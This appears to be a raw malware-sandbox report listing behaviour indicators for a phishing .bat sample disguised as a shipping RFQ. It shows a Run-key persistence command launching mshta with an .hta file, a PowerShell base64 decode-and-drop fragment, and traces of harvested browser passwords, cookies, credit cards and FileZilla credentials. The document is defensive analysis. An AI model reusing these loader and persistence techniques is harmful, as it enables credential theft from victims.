"base64writestateinfo" (Indicator: "base64"; Source: "00000000-00002240.00000000.193762.F8CE0000.00000004.mdmp")4f:T73a,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp")50:Td9a,Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp")51:T529,Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00002240.00000000.193762.F8CD0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00002240.00000000.193762.F8CD0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00002240.00000000.193762.F8CE0000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00002240.00000000.193762.F8CE0000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002240.00000001.193887.F8CB0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00002240.00000001.193887.F8D50000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00002240.00000001.193887.F8D50000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00002240.00000001.193887.F8D90000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00002240.00000001.193887.F8D90000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00004004.00000000.194219.F8CE0000.00000004.mdmp")52:T4ab,"cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7549BBC60BB6DC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "A5A866CA0BB6DC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "2676ADDF0BB6DC010000000000000000000000000200000000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ASP.NET_4.0.30319\NAMES"; Key: "PFDNDIXACKDDJPQRZ8FMYLEIFGITKR36GKFIRDX9W0KI6YNY4YWGAIA5IVMK6UPW7JYUXYABBLSHQU6VAAT7EDMVT4UVWPTYICGILJSOMOD9FNHQLUHEDS"; Value: "1415000000") "explorer.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS")53:T8b8,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\ATTRIB.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CSC.EXE"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")54:Te02,"cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7549BBC60BB6DC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "A5A866CA0BB6DC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "2676ADDF0BB6DC010000000000000000000000000200000000") "reg.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "REINFORCE"; Value: "mshta.exe "%APPDATA%\Microsoft\Windows\Templates\Together.hta"") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "explorer.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ASP.NET_4.0.30319\NAMES"; Key: "PFDNDIXACKDDJPQRZ8FMYLEIFGITKR36GKFIRDX9W0KI6YNY4YWGAIA5IVMK6UPW7JYUXYABBLSHQU6VAAT7EDMVT4UVWPTYICGILJSOMOD9FNHQLUHEDS"; Value: "1415000000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "explorer.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\EXPLORER_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing")55:T63f,file/memory contains long string with (Indicator: "Out-File"; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), file/memory contains long string with (Indicator: "Out-File"; File: "AMSI"), file/memory contains long string with (Indicator: "Out-File"; File: "powershell.exe"), file/memory contains long string with (Indicator: "Out-File"; Source: "00000000-00002240.00000000.193762.B0EA0000.00000004.mdmp 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000000.193762.B2980000.00000004.mdmp 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp 00000000-00002240.00000001.193887.B0EA0000.00000004.mdmp 00000000-00002240.00000001.193887.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F70000.00000004.mdmp 00000000-00002240.00000001.193887.B2980000.00000004.mdmp 00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp"), file/memory contains long string with (Indicator: "Out-File"; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F40000.00000004.mdmp"), Found string "HxwC8([A-Za-z0-9+/=]+)') { $PHYSICALLY = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($matches[1])); $PHYSICALLY | Out-File -FilePath 'C:\Users\HAPUBWS\AppData\Local\Temp\Valuable.ps1' -Encoding UTF8 } } catch {}" (Indicator: "Out-File"; Source: "00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B0F70000.00000004.mdmp"), file/memory contains long string with (Indicator: "Out-File"; Source: "00000000-00002240.00000001.193887.B0FF7000.00000004.mdmp")56:T5ba,file/memory contains long string with (Indicator: "cmd="; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "set mcmd=mshta.exe" (Indicator: "cmd="; File: "RFQ # 1268 26.03.26 - mv Aruna Cengiz (IMO 9552331).bat"), Found string "mcmd=mshta.exe" (Indicator: "cmd="; Source: "00000000-00002240.00000000.193762.B0EA0000.00000004.mdmp 00000000-00002240.00000000.193762.B0F40000.00000004.mdmp 00000000-00002240.00000000.193762.B2980000.00000004.mdmp 00000000-00002240.00000000.193762.CB1E0000.00000004.mdmp 00000000-00002240.00000001.193887.B0EA0000.00000004.mdmp 00000000-00002240.00000001.193887.B0F40000.00000004.mdmp 00000000-00002240.00000001.193887.B2980000.00000004.mdmp 00000000-00002240.00000001.193887.CB1FA000.00000004.mdmp 00000000-00002240.00000001.193887.CB80C000.00000004.mdmp"), Found string "mcmd=mshta.exe" (Indicator: "cmd="; Source: "00000000-00004004.00000000.194219.09DD0000.00000004.mdmp 00000000-00004004.00000000.194219.09FE0000.00000004.mdmp 00000000-00004004.00000000.194219.0A040000.00000004.mdmp 00000000-00004004.00000000.194219.241E0000.00000004.mdmp 00000000-00004004.00000001.195692.09DD0000.00000004.mdmp 00000000-00004004.00000001.195692.09FE0000.00000004.mdmp 00000000-00004004.00000001.195692.0A040000.00000004.mdmp 00000000-00004004.00000001.195692.241E0000.00000004.mdmp 00000000-00004004.00000001.195692.247DC000.00000004.mdmp 00000000-00004004.00000001.195692.24830000.00000004.mdmp")57:T5ee,"explorer.exe" opened file "C:\Users\%OSUSER%\AppData\Local\NICHROME\USER DATA" "explorer.exe" opened file "C:\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA" "explorer.exe" opened file "C:\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA" "explorer.exe" opened file "C:\Users\%OSUSER%\AppData\Local\ROCKMELT" "explorer.exe" opened file "C:\Users\%OSUSER%\AppData\Local\FILEZILLA\SITEMANAGER.XML" "explorer.exe" opened file "C:\Users\%OSUSER%\AppData\Local\FILEZILLA\RECENTSERVERS.XML" "explorer.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\FILEZILLA\SITEMANAGER.XML" "explorer.exe" opened file "C:\Users\%OSUSER%\AppData\Roaming\FILEZILLA\RECENTSERVERS.XML" "explorer.exe" opened file "C:\ProgramData\FILEZILLA\SITEMANAGER.XML" "explorer.exe" opened file "C:\ProgramData\FILEZILLA\RECENTSERVERS.XML" "explorer.exe" opened file "%LOCALAPPDATA%\NICHROME\USER DATA" "explorer.exe" opened file "%LOCALAPPDATA%\MAPLESTUDIO\CHROMEPLUS\USER DATA" "explorer.exe" opened file "%LOCALAPPDATA%\ROCKMELT\USER DATA" "explorer.exe" opened file "%LOCALAPPDATA%\ROCKMELT" "explorer.exe" opened file "%LOCALAPPDATA%\FILEZILLA\SITEMANAGER.XML" "explorer.exe" opened file "%LOCALAPPDATA%\FILEZILLA\RECENTSERVERS.XML" "explorer.exe" opened file "%APPDATA%\FILEZILLA\SITEMANAGER.XML" "explorer.exe" opened file "%APPDATA%\FILEZILLA\RECENTSERVERS.XML" "explorer.exe" opened file "%ALLUSERSPROFILE%\FILEZILLA\SITEMANAGER.XML" "explorer.exe" opened file "%ALLUSERSPROFILE%\FILEZILLA\RECENTSERVERS.XML"58:Tafd,"powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_fsted4gr.z3e.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_w3mkfbgr.rdu.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ulgrymhu.ofv.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_lvuwu4as.zp1.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.0.cs" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.tmp" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.err" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.cmdline" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.out" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.0.cs" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.out" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.tmp" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.err" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.cmdline" for deletion "explorer.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Chromium_cookies_DESKTOP-FVVF82A_2026-03-17_05.49.00.json" for deletion "explorer.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Chromium_credit_cards_DESKTOP-FVVF82A_2026-03-17_05.49.00.txt" for deletion "explorer.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Chromium_passwords_DESKTOP-FVVF82A_2026-03-17_05.49.00.txt" for deletion "explorer.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\FileZilla_DESKTOP-FVVF82A_2026-03-17_05.49.03.txt" for deletion "explorer.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Gecko_cookies_DESKTOP-FVVF82A_2026-03-17_05.49.03.json" for deletion "explorer.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Gecko_credit_cards_DESKTOP-FVVF82A_2026-03-17_05.49.03.txt" for deletion "explorer.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Gecko_passwords_DESKTOP-FVVF82A_2026-03-17_05.49.03.txt" for deletion59:Tc08,"cmd.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\Valuable.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_fsted4gr.z3e.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_w3mkfbgr.rdu.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ulgrymhu.ofv.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_lvuwu4as.zp1.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.0.cs" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.err" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\WDKX4UYY.PDB" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.cmdline" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.out" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.0.cs" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\UBGRKQ2F.PDB" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.out" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.err" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.cmdline" with delete access "explorer.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Chromium_cookies_DESKTOP-FVVF82A_2026-03-17_05.49.00.json" with delete access "explorer.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Chromium_credit_cards_DESKTOP-FVVF82A_2026-03-17_05.49.00.txt" with delete access "explorer.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Chromium_passwords_DESKTOP-FVVF82A_2026-03-17_05.49.00.txt" with delete access "explorer.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\FileZilla_DESKTOP-FVVF82A_2026-03-17_05.49.03.txt" with delete access "explorer.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Gecko_cookies_DESKTOP-FVVF82A_2026-03-17_05.49.03.json" with delete access "explorer.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\6088ff36705250809b0c555a7c7eb25b\Gecko_credit_cards_DESKTOP-FVVF82A_2026-03-17_05.49.03.txt" with delete access5a:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: 